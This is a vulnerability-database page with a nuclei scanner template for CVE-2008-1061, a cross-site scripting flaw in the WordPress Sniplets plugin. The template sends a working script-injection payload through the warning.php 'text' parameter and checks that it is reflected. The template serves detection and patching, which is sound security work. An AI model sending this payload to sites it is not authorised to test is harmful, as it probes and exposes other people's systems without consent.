Lucene search
K

WordPress Sniplets <=1.2.2 - Cross-Site Scripting

🗓️ 22 Jun 2026 05:20:07Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 30 Views

WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability allowing remote attackers to inject arbitrary web script or HTML

Related
Refs
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2008-1061
28 Feb 200819:00
cve
Cvelist
CVE-2008-1061
28 Feb 200819:00
cvelist
EUVD
EUVD-2008-1072
7 Oct 202500:30
euvd
NVD
CVE-2008-1061
28 Feb 200819:44
nvd
Patchstack
WordPress Sniplets Plugin <= 1.2.2 - Multiple XSS vulnerabilities
28 Feb 200800:00
patchstack
Prion
Cross site scripting
28 Feb 200819:44
prion
WPVulnDB
Sniplets 1.1.2 - (RFI/XSS/RCE) Multiple Vulnerabilities
1 Aug 201400:00
wpvulndb
id: CVE-2008-1061

info:
  name: WordPress Sniplets <=1.2.2 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update WordPress Sniplets plugin to the latest version available, which addresses the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/5194
    - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
    - https://nvd.nist.gov/vuln/detail/CVE-2008-1061
    - http://securityreason.com/securityalert/3706
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/40830
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2008-1061
    cwe-id: CWE-79
    epss-score: 0.074
    epss-percentile: 0.93639
    cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: wordpress
    product: "sniplets_plugin"
  tags: cve2008,cve,xss,wp-plugin,wp,edb,wpscan,wordpress,sniplets,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/sniplets/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Code Snippets'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206d82db41bcd8c10cbc1f1498c875a3fe85e4b5c1dfac9e9ae06288d65e350357022100cb30f450f71f40876885ea0a5ab4ebbb62d93df2eacf507498a43a858c9a3580:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6Medium risk
Vulners AI Score6
CVSS 24.3
EPSS0.074
30